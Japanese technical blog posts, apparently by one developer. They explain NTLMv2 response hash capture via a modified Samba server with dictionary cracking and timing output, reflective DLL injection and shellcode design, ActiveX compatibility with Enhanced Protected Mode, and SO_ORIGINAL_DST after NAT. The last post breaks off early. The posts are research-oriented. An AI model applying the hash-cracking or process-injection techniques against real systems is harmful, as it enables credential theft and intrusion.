Brute-force attack against NTLMv2 Response

2016 年 9 月の Windows Update で、NTLM SSO の動作に関連する脆弱性 CVE-2016-3352 が修正されたようです。

Microsoft Security Bulletin MS16-110 – Important
https://technet.microsoft.com/library/security/MS16-110

An information disclosure vulnerability exists when Windows fails to properly validate NT LAN Manager (NTLM) Single Sign-On (SSO) requests during Microsoft Account (MSA) login sessions. An attacker who successfully exploited the vulnerability could attempt to brute force a user’s NTLM password hash.

To exploit the vulnerability, an attacker would have to trick a user into browsing to a malicious website, or to an SMB or UNC path destination, or convince a user to load a malicious document that initiates an NTLM SSO validation request without the consent of the user.

CVE – CVE-2016-3352
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3352

Microsoft Windows 8.1, Windows RT 8.1, and Windows 10 Gold, 1511, and 1607 do not properly check NTLM SSO requests for MSA logins, which makes it easier for remote attackers to determine passwords via a brute-force attack on NTLM password hashes, aka "Microsoft Information Disclosure Vulnerability."

"NTLM SSO" などのキーワードで適当にインターネット検索すると、今年 8 月に書かれた以下の記事が見つかります。

The Register – Reminder: IE, Edge, Outlook etc still cough up your Windows, VPN credentials to strangers
http://www.theregister.co.uk/2016/08/02/smb_attack_is_back/?mt=1474231650819

画面キャプチャーを見ると、なんと Microsoft アカウントのパスワードが解析されてしまっています。そして Youtube の埋め込み動画では、SMB パケットがブラウザーからリークしていることを示しています。つまり、SMB パケットに埋め込まれた NTLM メッセージに対して brute-force 攻撃をしかけることで Microsoft アカウントのパスワードを解析できる、ことを示しているようです。

これは理論的に可能でしょう。が、もしそれが 「簡単に」 できるのであれば、それは NTLM プロトコルの死を意味するべきであり、パッチとして一朝一夕に対応できるものではないはずです。SSLv3 や RC4 と同様にそのプロトコルの使用を止めるべきですが、非ドメイン環境において NTLM の代わりとなるような認証プロトコルは Windows には実装されていないはずです。

というわけで、NTLM に対する brute-force がどれぐらい簡単なのかを調べることにしました。まず、NTLM プロトコルがどうやってユーザー認証を行っているかを説明します。と言っても以下の PDF を読み解くだけです。

[MS-NLMP]: NT LAN Manager (NTLM) Authentication Protocol
https://msdn.microsoft.com/en-us/library/cc236621.aspx

NTLM が混乱を招く点として、一つのプロトコルが複数のプロトコル バージョン (LanMan, NTLMv1, NTLMv2) に対応していることです。Wiki の情報を見ると NTLMv2 は NT 4.0 SP4 から採用されているので、 NTLMv2 だけで現在は問題なく生きていけるはずです。ただし XP などの古い OS において、さらに古い OS との互換性のために NTLMv1 や Lanman に fallback するような動作が有効になっている場合があります。このへんの細かい話は長くなりそうなので、以下の KB に丸投げします。

NT LAN Manager – Wikipedia, the free encyclopedia
https://en.wikipedia.org/wiki/NT_LAN_Manager

How to prevent Windows from storing a LAN manager hash of your password in Active Directory and local SAM databases
https://support.microsoft.com/en-us/kb/299656

Security guidance for NTLMv1 and LM network authentication
https://support.microsoft.com/en-us/kb/2793313

NTLM は Challenge Reponse Authentication の一つで、簡単に書くとサーバーとクライアントが以下 3 つのメッセージを交換することで認証が行われます。(仕様によると Connectionless モードの場合は Negotiate が存在しないようですが、見たことがないのでパス。)

Client: "I want you to authenticate me."
(= Negotiate Message)

Server: "Sure. Challenge me. Use 0x0123456789abcdef as a ServerChallenge."
(= Challenge Message)

Client: "My response is !@#$%^&*()_+…"
(= Authenticate Message)

NTLM は単体で使われるプロトコルではなく、必ず別のプロトコルに埋め込まれて使われます。例えば SMB の中で使われる場合には、SMB Session Setup コマンドに埋め込まれます。ダイレクト SMB ポートである 445/tcp をキャプチャーしたときの Network Monitor 上での見え方は以下の通りです。

01
SMB packets over 445/tcp (Lines highlited in purple contain NTLM messages)

02
NTLM Negotiate Message

03
NTLM Challenge Message

04
NTLM Authenticate Message

セクション 3.3.2 NTLMv2 Authentication から、パスワードを解析するのに必要な疑似コードの計算式だけを抜き出すと以下の通りです。

[MS-NLMP]: NTLM v2 Authentication – 3.3.2 NTLM v2 Authentication
https://msdn.microsoft.com/en-us/library/cc236700.aspx

Define NTOWFv2(Passwd, User, UserDom) As
  HMAC_MD5(MD4(UNICODE(Passwd)),
           UNICODE(ConcatenationOf(Uppercase(User), UserDom)))
EndDefine

Set temp to ConcatenationOf(Responserversion,
                            HiResponserversion,
                            Z(6),
                            Time,
                            ClientChallenge,
                            Z(4),
                            ServerName, Z(4))
Set NTProofStr to HMAC_MD5(ResponseKeyNT,
                           ConcatenationOf(CHALLENGE_MESSAGE.ServerChallenge,
                                           temp))
Set NtChallengeResponse to ConcatenationOf(NTProofStr, temp)

使用しているハッシュ関数は HMAC_MD5 と MD4 のみ。入力データはいろいろあって面倒そうに見えますが、それほど難しくありません。特に、疑似コードの中で temp として扱われているバージョンやタイムスタンプなどのメタ情報が、ハッシュ値である NTProofStr と連結してそのまま Authenticate Message の NtChallengeResponse になっているからです。図示したものを ↓ に示します。図中の Metainfo が、上記擬似コードで言うところの temp です。

実際に処理するときは、パスワードを UTF-16 に変換する点と、ユーザー名を大文字に変換する点に注意が必要です。

05
Calculation of NtChallengeResponse in NTLMv2

これで材料が出揃ったのでコードを書きます。まずサーバー側のコードとして、Samba サーバーが NTLM メッセージを処理しているときに、brute-force に必要となる情報をテキスト ファイルとして書き出すようにします。これによって、前述の Youtube 動画がやっていることとほぼ同じことができます。

Yandex SMB hash capture on IE with email message – YouTube
https://www.youtube.com/watch?v=GCDuuY7UDwA

msmania/samba at ntlm-hack
https://github.com/msmania/samba/tree/ntlm-hack

テキスト ファイルと同じ内容をレベル 0 のデバッグ メッセージとしても出力するようにしました。gdb を使って smbd を実行しておくと、SMB 経由で NTLM 認証が行なわれたときにコンソールにログが記録されます。出力される情報はこんな感じです。後でまとめて grep できるようにあえてテキスト ファイルにしました。

Domain:
User: ladyg
Client: LIVINGROOM-PC
UserAndDomain=4c004100440059004700
Challenge=ae65c9f0192d64b9
Auth=0101000000000000b62acefc2d11d201ea3017d2f290d64e00..(長いので省略)
Response=39329a4a4e9052fe3d4dea4ea9c79ac5

次に、Samba サーバーが書き出したテキスト ファイルに対して実際に brute-force を行うプログラムを書きます。hashcat に新しいモードを付け足すことができればベストだったのですが、OpenCL を勉強する時間がなかったので、OpenSSL の関数を呼び出すだけの簡単なプログラムになりました。

msmania/ntlm-crack
https://github.com/msmania/ntlm-crack

このプログラムは Samba が生成したテキスト ファイルに対して、別の引数として指定したのテキスト ファイルの各行をパスワードとして NTLMv2 Reponse を生成し、Samba が出力したデータと一致するかどうかを比較します。パスワード一覧ファイルは、ネット上で探せば簡単に見つかります。ntlm-crack リポジトリにサンプルとして入れてある 10_million_password_list_top_1000.txt は、以下のリポジトリからコピーしたものです。

GitHub – danielmiessler/SecLists
https://github.com/danielmiessler/SecLists

では実際にコマンドを実行して brute-force の速度を計測します。マシン スペックは以下の通り。Windows マシンであればもっと新しいマシンで hashcat をぶん回せたのですが・・無念。

  • OS: Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64)
  • CPU: Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (Sandy Bridge)

とりあえず 100 万通りのパスワードを試してみます。

$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3343 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3372 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 3344 msec.

大体 3 秒ちょいです。特に工夫をしたわけでもないのですが、予想していたより速いです。UTF-16 変換の処理を予め済ませて、かつ並列処理をすれば 1M/s は軽く越えられそう。

もちろん実際に使われているのはこんな子供騙しではありません。参考として 4 年前の記事ですが、25-GPU を使って 95^8 通りのハッシュを 5.5 時間で生成できたと書かれています。ここでいう NTLM cryptographic algorithm が厳密に何を意味するのかは書かれていません。巷では、UTF-16 エンコードしたパスワードの MD4 ハッシュを NTLM ハッシュと呼ぶことが多く、仮にそうだとすると、5.5 時間という数字には HMAC-MD5 を 2 回計算する部分が含まれていません。試しに、今回作った ntlm-crack から HMAC-MD5 の演算を飛ばして再度実行してみます。

$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 347 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 347 msec.
$ ./t -f sample.in -l /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt
No matching password in /data/src/SecLists/Passwords/10_million_password_list_top_1000000.txt.
Tried 999999 strings in 346 msec.

計算時間が約 1/10 で済んでしまいました。この比率が 25-GPU マシンにも適用されるとすると、8 文字のパスワードをクラックするのに 4 年前は 55 時間かかっていたはずです。怪しい概算ですが。

25-GPU cluster cracks every standard Windows password in <6 hours | Ars Technica
http://arstechnica.com/security/2012/12/25-gpu-cluster-cracks-every-standard-windows-password-in-6-hours/

今年は AlphaGo のニュースが衝撃でしたが、そのときの Nature 論文では 1,920 CPUs + 280 GPUs のマシンで AlphaGo を動かしたという実績が書かれているので、個人での所有は難しいにしても、あるべきところ (Google や NSA?) には 4 桁のプロセッサーを動かせるマシンが存在していると仮定できます。これで 2 桁分稼げるので、10 桁程度のパスワードであれば数日で解ける恐れがあります。12 桁のパスワードにしておけば年単位の時間が必要になるので安心かも・・・?

話が逸れておきましたが、冒頭の CVE-2016-3352 の話に戻ります。Security Bulletin には、以下のような修正がなされたと書かれています。つまり、誰彼構わず NTLM SSO 認証のための SMB パケットを送るのは止めた、ということでしょうか。

The security update addresses the vulnerability by preventing NTLM SSO authentication to non-private SMB resources when users are signed in to Windows via a Microsoft Account network firewall profile for users who are signed in to Windows via a Microsoft account (https://www.microsoft.com/account) and connected to a “Guest or public networks” firewall profile.

この修正ができたということは、 「不特定多数のサーバーに SMB パケットを送ってしまう動作があったため、本来できないはずの brute-force 攻撃の標的になってしまう」 ことが問題とされていたわけです。これでようやく、Security Bulletin の "An attacker who successfully exploited the vulnerability could attempt to brute force" という部分が腑に落ちました。この件に関して言えば、brute-force の成功が現実的かどうかは関係なく、brute-force が可能であることそのものが問題だったわけです。NTLM はまだ生きていていいんだ。

あえてケチをつけるならば、CVE の方の記述における "to determine passwords via a brute-force attack on NTLM password hashes" でしょうか。NTLM は複数のハッシュ (MD4 と HMAC-MD5) を使いますが、NTLM password hash と書くと、パスワードのハッシュ、すなわち一段階目の MD4 ハッシュを想定するのが普通です。しかし、MD4 ハッシュは一回目の HMAC-MD5 の鍵として使われるだけで、ネットワーク上を流れることはなく、brute-force の攻撃対象にはなりません。Microsoft 側の Security Bulletin では "attempt to brute force a user’s NTLM password hash" となっており、こちらの記述のほうがより正確な気がします。最近の流行は pass-the-hash 攻撃なので、平文のパスワードに替えて、ハッシュ値が brute-force の標的であってもおかしくはありません。

ところで、なぜ Microsoft アカウントに関する言及があるかというと、冒頭で紹介した The Register の記事にもありますが、Microsoft アカウントのユーザー名がユーザーのメール アドレスであり、OneDrive や MSDN などのサービスのアカウントとしても使われているからです。世界のどこかにあるパソコンのユーザー アカウント "Mike" のパスワードが分かってもできることは限られていますが、Microsoft アカウントのパスワードが解析されると大変なことになります。だからこそ今までこの古いバグが放置されてきたのかもしれません。ただ、ユーザー名が平文で SMB として流れるのは気持ち悪いですが。

(2016/9/19 追記)

9 月のアップデート後に、LAN ディスクや SAMBA にアクセスできなくなったというツイートやフォーラムを幾つか見つけましたが、おそらく CVE-2016-3352 に対する修正が原因と思われます。どうするんでしょうかね。

update kb3185614の不具合について、LANDISKへの接続やリモートアクセスができなくなる – マイクロソフト コミュニティ
http://answers.microsoft.com/ja-jp/windows/forum/windows_10-update/update/f5219540-a2a5-4b09-b9b6-e944dcbbed38

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Reflective DLL Injection

社内のツールで、任意のプロセスに対して DLL のコードを埋め込んでそれを呼び出すツールがありました。そのソースを見ると、VirtualAllocEx、WriteProessMemory、そして CreateRemoteThread を使ってけっこう簡単に他プロセスへのコードの埋め込みを実現していました。

VirtualAllocEx function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx

CreateRemoteThread function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx

何これ超便利・・・と感動しつつこの方法についてググると、かなり古くから知られた手法の一つのようで、"createremotethread virtualallocex コード" などのキーワードで日本語のサイトもたくさんヒットします。検索上位に来て分かりやすいのが↓あたり。CreateRemoteThread 以外にも、ウィンドウのサブクラス化を使う方法がメジャーなようです。

ドリーム工房 – デスクトップを乗っ取る
http://www18.atpages.jp/skydreamer/maniax/desktop.php

別のプロセスにコードを割り込ませる3つの方法 – インターネットコム
http://internetcom.jp/developer/20050830/26.html

上記の一つ目のサイトで紹介されている方法は、事前にアセンブリ言語で書いておいたペイロードを WriteProcessMemory でターゲットに埋め込んでおいて、そのアドレスを開始アドレスとしてCreateRemoteThreaad を呼び出しています。ペイロードの中に LoadLibrary する DLL のファイル名をハードコードして、LoadLibrary を直接アドレス指定で call しています。

二つ目のサイトの方法はもっと単純で、開始アドレスを LoadLibrary のアドレスにし、リモートスレッドのパラメーターとして、予めターゲットに埋め込んておいた DLL のファイル名となる文字列のアドレスを渡すというものです。

これらの方法は、Kernel32.dll に実装された LoadLibrary() のエントリポイント (実体は kernelbase.dll) がプロセス間で共有であるという前提に基づいています。この前提については、上記 internetcom.jp の 「付録 A)なぜKERNEL32.DLLとUSER32.DLLは常に同じアドレスにマッピングされるのか」 で説明されています。

これだけでも十分に実用に値するのですが、個人的にはちょっとエレガントさに欠ける気がします。そもそも、kernel32.dll が同じところにマップされるという前提に依存するのがあまり美しくないのですが、もう一つ問題点があります。インジェクターとターゲットのビット数が違うときに、LoadLibrary のアドレスをインジェクター側で取得できないという点です。インジェクターが 64bit プロセスのときは、64bit kernel32.dll 上の LoadLibrary のアドレスが取得できますが、ターゲットが 32bit のときにこれは使えません。逆の場合も同じです。とはいっても些細な問題であり、32bit と 64bit それぞれのインジェクターを用意すればいいだけの話ですが、ターゲットによってインジェクターを変えるのはやはり美しくないのです。

後始末の問題もあります。ターゲットの中で LoadLibrary を実行することができれば、ロードした DLL の DllMain が呼ばれるので、そこからまた新たに新しいスレッドを作るなどして任意のコードを実行させることができます(ローダーロックの問題があるので、DllMain 関数自体はさっさと終わらせないとおかしなことになる、はず。)。また、立つ鳥跡を濁さず、という諺もあるように、全てが終わった後は DLL は FreeLibrary され、さらに VirtualAllocEx しておいたメモリ領域も解放されている、というのが日本的美的センスから見た美しいコード インジェクションではないでしょうか。

簡単そうなのは、ターゲットプロセスではなくインジェクターで後処理を行う方法です。これは上記のinternetcom.jp で紹介されています。メモリ領域の解放は単純に VirtualFreeEx を呼ぶだけですが、FreeLibrary には少しトリックが必要です。というのも、FreeLibrary を呼ぶためには、LoadLibrary からの戻り値である HMODULE、すなわちロードされた DLL のベース アドレスが必要だからです。紹介されている例では、CreateRemoteThread で起動したリモートスレッドが終了するまで待機してから、ベース アドレスをスレッドの終了コードとして GetExitCodeThread を使って取得しています。これはなかなか面白い方法ですが、64bit だと使えないはずです。なぜなら、スレッドの開始関数である LPTHREAD_START_ROUTINE は、本来 DWORD を返すことが想定されており、GetExitCodeThread で取得できるのも DWORD の 32bit 整数だけです。64bit では当然 HMODULE も 64bit アドレスなので、GetExitCodeThread だと、イメージベースの 上位 32bit を取得できません。そのほかの方法として、インジェクトしたコードの中でイメージベースをバッファー内に書き込んでおいて、それをインジェクター側から参照する方法が考えられます。これなら任意のサイズのデータをターゲットからインジェクターに返すことができるので、64bit でも問題はありません。ただ、そもそものデザインとして、インジェクター側でリモート スレッドの終了を待機するのは不満です。

というわけで、後処理をターゲット内で行う方法を考えます。ターゲット内で後処理を行う場合、単純な関数呼び出しで FreeLibrary や VirtualFree を実行して後処理を行うと、制御が戻ってきたときのリターン アドレスが解放済みになってしまうため、アクセス違反が起こります。これもいわゆる use-after-free でしょうか。

そこでまず、FreeLibrary は DLL 外部から実行する必要があります。これは上述の 1 つ目のサイト (ドリーム工房) で紹介されている方法のように、アセンブリで書いたシェルコードを用意してそこから LoadLibrary/FreeLibrary を呼べば解決です。

シェルコードがあるのであれば、メモリ解放についても、VirtualFree をそのまま call するのではなく、スタックを自分で積んでから jmp で VirtualFree を実行することで、VirtualFree 実行後のコード位置を指定して use-after-free 問題を解決できそうです。

アセンブリでシェルコードを書く場合でも、ドリーム工房の方法のように、インジェクター側で取得したアドレスをシェルコードに動的に埋め込むことは可能です、が、何とかしてシェルコード内でイメージベースのアドレスを取得したいところです。そんな方法はないものかと探したところ、けっこう簡単に見つかりました。それがこれ、今回の記事のタイトルにした Reflective DLL Injection。

GitHub – stephenfewer/ReflectiveDLLInjection
https://github.com/stephenfewer/ReflectiveDLLInjection/

ポイントは dll/src/ReflectiveLoader.c に実装された ReflectiveLoader という関数です。そういえば昔覚えたことをすっかり忘れていましたが、Windows では、セグメント レジスタ fs または gs が指すセグメントに PEB や TEB を保存しています。覚えておくとけっこう使えます。

Wikipedia にも情報があります。

Win32 Thread Information Block – Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Win32_Thread_Information_Block

このセグメントレジスタはけっこう身近なところでも使われています。最たる例は、GetLastError() や GetCurrentProcessId() で、x86/x64 それぞれのアセンブリを示すとこんな感じです。また、ちゃんと確かめていませんが、metasploit で遊んでいた時に meterpreter の先頭のコードでもセグメント レジスタを見ていた記憶があります。

0:000> uf kernelbase!GetLastError
KERNELBASE!GetLastError:
775cecd0 64a118000000    mov     eax,dword ptr fs:[00000018h]
775cecd6 8b4034          mov     eax,dword ptr [eax+34h]
775cecd9 c3              ret
0:000> uf kernelbase!GetCurrentProcessId
KERNELBASE!GetCurrentProcessId:
7767cf60 64a118000000    mov     eax,dword ptr fs:[00000018h]
7767cf66 8b4020          mov     eax,dword ptr [eax+20h]
7767cf69 c3              ret

0:000> uf kernelbase!GetLastError
KERNELBASE!GetLastError:
00007ffe`d4f21470 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffe`d4f21479 8b4068          mov     eax,dword ptr [rax+68h]
00007ffe`d4f2147c c3              ret
0:000> uf kernelbase!GetCurrentProcessId
KERNELBASE!GetCurrentProcessId:
00007ffe`d4f98b60 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffe`d4f98b69 8b4040          mov     eax,dword ptr [rax+40h]
00007ffe`d4f98b6c c3              ret

上記関数は、TEB にある情報を使うので、x86 では fs:18h、x64 では gs:30h のアドレスが TEB であると分かります。

Reflective DLL Injection は、PEB にあるロード済みモジュールのリストからイメージ ベースを取得しています。以下の MSDN に書かれているように、PEB::Ldr->InMemoryOrderModuleList が示すデータには、ロード済みモジュールの名前とベースアドレスの双方向リンクト リストが入っています。

PEB structure (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx

PEB_LDR_DATA structure (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708(v=vs.85).aspx

というわけで、以下のロジックをアセンブリで書いて CreateRemoteThread で埋め込めば、まさに実現したい動作が可能です。

  1. セグメント レジスタから PEB を取得
  2. PEB からロード済モジュール リストを取得
  3. リストから Kernel32.dll のベースアドレスを取得
    (ユーザーモード プロセスに kernel32.dll は必ずロードされていると考えてよい)
  4. ベースアドレスから PE イメージの構造を解析し、エクスポート テーブルを取得
  5. エクスポート テーブルを検索して LoadLibrary の開始アドレスを取得

少々めんどくさそうですが、一旦 C で書いて、コンパイルされたアセンブリを整形すればそれほど難しくはないはずです。

この方法を使えば、LoadLibrary だけでなく、シェルコードの中で実行したい API のアドレスを全部取得することができます。また、本記事とは関係ありませんが、コード領域内をパターン検索すれば、エクスポートされていない関数のアドレスも探せるはずです。とにかく、これで後片付けの問題は解決しました。すなわち、シェルコードを以下のようなロジックにします。

  1. LoadLibrary で好きな DLL をロード (ファイル パスは予めバッファーに入れておく)
  2. GetProcAddress でエクスポート関数のアドレスをゲット (DllMain には何も書かなくてよい)
  3. 関数を単純に call で実行
  4. FreeLibrary で DLL をアンロード
  5. ExitThread のアドレスを push して VirtualFree に jmp

というわけで書いたコードがこれ↓

https://github.com/msmania/procjack/tree/1.0

メインのインジェクターは、pj.exe で、これに ターゲットの PID とインジェクトしたい DLL、そして実行したいエクスポート関数の序数を指定すると、ターゲットの中でコードが実行されます。実行の様子はこんな感じ。

Capture

シェルコードをデバッグしたい場合は、ターゲット側でスレッド作成時に例外を捕捉するようにしておくと、CreateRemoteThread が実行された時点でブレークしてくれて便利です。こんな感じ。

02

前述の通り、シェルコードは予め C で書いて expeb.exe としてコンパイルしてからアセンブリを整形しました。したがって、expeb のロジック自体は windows.h をインクルードしなくても動きます。Visual C++ だけでなく clang と gcc でもコンパイルして、もっとも効率の良いアセンブリを使おうと考えたのですが、結局 VC++ のアセンブリに落ち着きました。clang あたりがトリッキーなアセンブリを生成してくれるかと期待したのですが、どれも大差のないもので、最後は呼び出し規約の関係で VC++ に軍配が上がった感じです。長さは 1000 バイト前後です。手で頑張ればもう少し短くできそうな気はします。

試していませんが、Windows XP や 2000 でも動くはずです。少なくとも expeb.exe を Windows XP で動かして関数アドレスをとってくるところは問題ありませんでした。

ターゲットが AppContainer プロセスの時にも対応させるため、インジェクトする DLL のアクセス権をチェックして、"APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES" (SID=S-1-15-2-1) に対して読み取りと実行権限を割り当てています。実はこっちのコードを書く方が面倒だった・・・。Low プロセス用の権限を追加し忘れたので、Low だと動かないかも・・そのうち追加して更新します。

これで当初の目的は達成できた、と思いきや、実は一点だけ実現できていないことがあります。というのも、Wow64 のプロセスから Win64 のプロセスに対して CreateRemoteThread を実行すると、ERROR_ACCESS_DENIED で失敗してスレッドを作れないのです。VirtualAllocEx や WriteProcessMemory は問題ないのですが。逆の、Win64 から Wow64 への CreateRemoteThread は問題ありません。次のブログでいろいろ考察しているのですが、ちょっと時間がなくちゃんと読めていません。何かうまい方法があると思っているのですが。

DLL Injection and WoW64
http://www.corsix.org/content/dll-injection-and-wow64

最後にふと思い出したのが、知る人ぞ知るやねうらお氏の不真面目なほうのプロフィール。Reflective programming というより、やっていることはこっちに近いような。

やねうらおプロフィール
http://bm98.yaneu.com/bickle/profile.html

メインルーチンをオールアセンブラで組んだ、縦スクロールシューティングゲームを作成。創刊当時のマイコンBASICマガジンに投稿。BASICの部分は、16進ダンプをreadしてpokeしたのち、それを実行しているだけというBASICマガジンをナメ切った自慢の作品。当然のごとく、ボツにされる。

これでようやく小学校五年生の頃のやねうらお氏に追いついた!かもしれない。

EPM-compatible ActiveX control

ちょっとした小ネタを。以前、MFC ベースの ActiveX コントロールを Visual Studio で作る方法を書きましたが、それに対する補足です。

MFC Custom ActiveX Control on IE11 | すなのかたまり
https://msmania.wordpress.com/2014/10/06/mfc-custom-activex-control-on-ie11/

上記記事で作った ActiveX コントロールは、Protected Mode が有効であるゾーン、すなわち Low Integrity Level のプロセスでも動作させることができますが、Enhanced Protected Mode (EPM)、すなわち AppContainer のプロセスでは動きません。EPM を有効にしてページを開くと、以下のようなポップアップが表示されます。

image

This webpage wants to run ‘(ActiveX control name)’ which isn’t compatible with Internet Explorer’s enhanced security features. If you trust this site, you can disable Enhanced Protected Mode for this site and allow the control to run.

ここで Run Control を選ぶと ActiveX が使えるようになります。が、これは現在のサイトに対してのみ EPM を無効にしたためであり、 Protected Mode でページを開いているからです。この機能、すなわち、サイト レベルで EPM のオン/オフを切り替える機能に UI はなく、サイト名と同じ名前のレジストリが HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabProcConfig の下に作られることで実現されています。この機能については、以下のブログで触れられています。

How Internet Explorer Enhanced Protected Mode (EPM) is enabled under different configurations – AsiaTech: Microsoft APGC Internet Developer Support Team – Site Home – MSDN Blogs
http://blogs.msdn.com/b/asiatech/archive/2013/12/25/how-internet-explorer-enhanced-protected-mode-epm-is-enabled-under-different-configurations.aspx

This per domain configuration is located in registry, path HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabProcConfig. As shown in the screenshot below. Each domain is configured by a DWORD value. Different DWORD values have different effects on EPM. The most common value is 0x47b, which means to use 32bit process & load incompatible add-ons. If a domain is given that 0x47b value, you will see protected mode as “On”, not “Enhanced”.

一度 Run Control をクリックしてしまうと、元に戻すにはレジストリを削除するしかなさそうです。

TabProcConfig の助けを借りなくても、ActiveX コントロールに EPM に対する互換性を持たせることができます。その方法が以下の MSDN のページに書かれている、と思いきや実は書かれていません。

Supporting enhanced protected mode (EPM) (Windows)
https://msdn.microsoft.com/en-us/library/ie/dn519894(v=vs.85).aspx

この GUID で定義されるカテゴリを使ってコントロールを登録しろと書かれていますが、肝心な方法が書かれていません。DEFINE_GUID で定数を定義するコードは載っていますが、欲しいのはそれじゃない。

Register the ActiveX control as one that is compatible with AppContainers. To do this, you register your control with the CAT_ID AppContainerCompatible ({59fb2056-d625-48d0-a944-1a85b5ab2640})

具体的なコードは Stack Overflow で見つかりました。ActiveX コントロールそのものではなく、regsvr32 でコントロールを登録するときに、カテゴリの GUID も登録する必要があるみたいです。

internet explorer – IE BHO Toolbar in EPM (Enhanced Protected Mode) – Stack Overflow
http://stackoverflow.com/questions/17591740/ie-bho-toolbar-in-epm-enhanced-protected-mode

というわけで、Visual Studio のテンプレートが自動的に生成した 2 つの関数 DllRegisterServer と DllUnregisterServer を以下のように変更します。必要かどうか分かりませんが、念のため Unregister も変更しておきます。コントロールの GUID である CLSID_RunMeOnIE は、環境によって異なるので注意してください。

全体のコードについては、こちらをご確認ください。
https://github.com/msmania/RunMeOnIE

const GUID CDECL CATID_AppContainerCompatible =
{ 0x59fb2056, 0xd625, 0x48d0, { 0xa9, 0x44, 0x1a, 0x85, 0xb5, 0xab, 0x26, 0x40 } };
const GUID CDECL CLSID_RunMeOnIE =
{ 0x5C630378, 0xA070, 0x42A6, { 0xBF, 0xD5, 0xC7, 0x46, 0xF7, 0xDC, 0xAA, 0xCC } };

HRESULT RegiterClassWithCategory(CLSID ClassId, CATID CategoryId, bool IsRegister = true) {
    ICatRegister *Registerer = NULL;
    HRESULT hr = S_OK;

    hr = CoCreateInstance(CLSID_StdComponentCategoriesMgr,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ICatRegister,
        (LPVOID*)&Registerer);

    if (SUCCEEDED(hr)) {
        if (IsRegister) {
            hr = Registerer->RegisterClassImplCategories(ClassId, 1, &CategoryId);
        }
        else {
            hr = Registerer->UnRegisterClassImplCategories(ClassId, 1, &CategoryId);
        }

        Registerer->Release();
    }

    return hr;
}

// DllRegisterServer – Adds entries to the system registry

STDAPI DllRegisterServer(void)
{
    AFX_MANAGE_STATE(_afxModuleAddrThis);

    if (!AfxOleRegisterTypeLib(AfxGetInstanceHandle(), _tlid))
        return ResultFromScode(SELFREG_E_TYPELIB);

    if (!COleObjectFactoryEx::UpdateRegistryAll(TRUE))
        return ResultFromScode(SELFREG_E_CLASS);

    RegiterClassWithCategory(CLSID_RunMeOnIE, CATID_AppContainerCompatible);

    return NOERROR;
}

// DllUnregisterServer – Removes entries from the system registry

STDAPI DllUnregisterServer(void)
{
    AFX_MANAGE_STATE(_afxModuleAddrThis);

    if (!AfxOleUnregisterTypeLib(_tlid, _wVerMajor, _wVerMinor))
        return ResultFromScode(SELFREG_E_TYPELIB);

    if (!COleObjectFactoryEx::UpdateRegistryAll(FALSE))
        return ResultFromScode(SELFREG_E_CLASS);

    RegiterClassWithCategory(CLSID_RunMeOnIE, CATID_AppContainerCompatible, false);

    return NOERROR;
}

ocx をビルドし直し、regsvr32 で再登録してからレジストリを見ると、HKCR\CLSID\{GUID} の下に Implemented Categories というキーがあり、CAT_ID AppContainerCompatible のキーが追加されています。

image

しかし、これではまだ EPM のページで ActiveX を実行することはできません。AppContainer プロセスは、読み取り権限も厳しく制限されており、通常の作業フォルダーにもアクセスできないからです。例えばデスクトップへもアクセス権はありません。

アクセス権のあるフォルダーの一つとして、C:\Program Files フォルダーがあります。C:\Program Files 配下に適当なフォルダーを作って ocx をコピーし、再度 regsvr32 で登録し直すことで、ようやく EPM で ActiveX を動かすことができるようになります。

ここまでの話はデスクトップ IE における EPM であり、同じく AppContainer で動作する Immersive IE については、上記の方法を使っても ActiveX コントロールを動かすことはできません。そもそも Immersive IE は、プラグイン フリーのブラウジングを目的としているためです。

Get ready for plug-in free browsing (Internet Explorer)
https://msdn.microsoft.com/en-us/library/ie/hh968248(v=vs.85).aspx

How to get the original address after NAT

ポート フォワードの後に受信したソケットから、オリジナルの宛先 IP アドレスをユーザー モード側で取得する方法がようやく分かりました。Linux のカーネル デバッグまで持ち出しましたが、結論はとてもあっさりしたものでした。答えは、getsockopt 関数にオプションとして SO_ORIGINAL_DST を渡すというもので、結果としてオリジナルの宛先情報が入った struct sockaddr が返ってきます。これは超便利!

SO_ORIGINAL_DST というオプションは <linux/netfilter_ipv4.h> で定義されているのですが、getsockopt の説明ではなぜか触れられていません。キーワードさえ分かってしまえば検索できるのですが、何も知らないとここまで辿りつくのは難しい、と思います。この前見つけた IP_RECVORIGDSTADDR とか IP_ORIGDSTADDR とは一体なんだったのか、という疑問も残ります。

getsockopt(3): socket options – Linux man page
http://linux.die.net/man/3/getsockopt

以下簡単に、カーネル デバッグからどうやってたどり着いたかを書いておきます。

